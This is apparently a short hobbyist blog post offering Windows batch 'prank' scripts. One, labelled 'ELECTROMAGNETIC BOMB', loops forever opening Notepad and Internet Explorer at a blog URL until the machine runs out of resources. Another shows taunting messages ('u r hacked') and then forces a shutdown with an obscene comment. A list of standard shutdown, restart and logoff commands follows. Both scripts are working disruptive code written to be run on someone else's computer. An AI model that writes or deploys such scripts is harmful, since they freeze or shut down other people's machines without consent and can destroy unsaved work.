LETS LEARN AND HAVE SOME FUN WITH IT EXPERTS

ELECTROMAGNETIC BOMB :
[css]
@echo off
:loop
Start notepad
Start iexplore.exe http://donbaba1.blogspot.com/

goto loop
[/css]
NB pls save as .bat

SHUTDOWN WINDOWS PC :

@echo off
c:
cls
echo hey wana be friends?
pause
echo did u say no???????????
pause
echo u r hacked
echo Type some message!
shutdown -s -t 30 -c “f*ck off” 

OR 

To shutdown computer -> “shutdown -s”
To restart computer -> “shutdown -r”
To logoff computer -> “shutdown -l”
To halt a restart/shutdown –> “shutdown -a”
You can use all these commands directly in DOS prompt or in a script.
NB pls save as .bat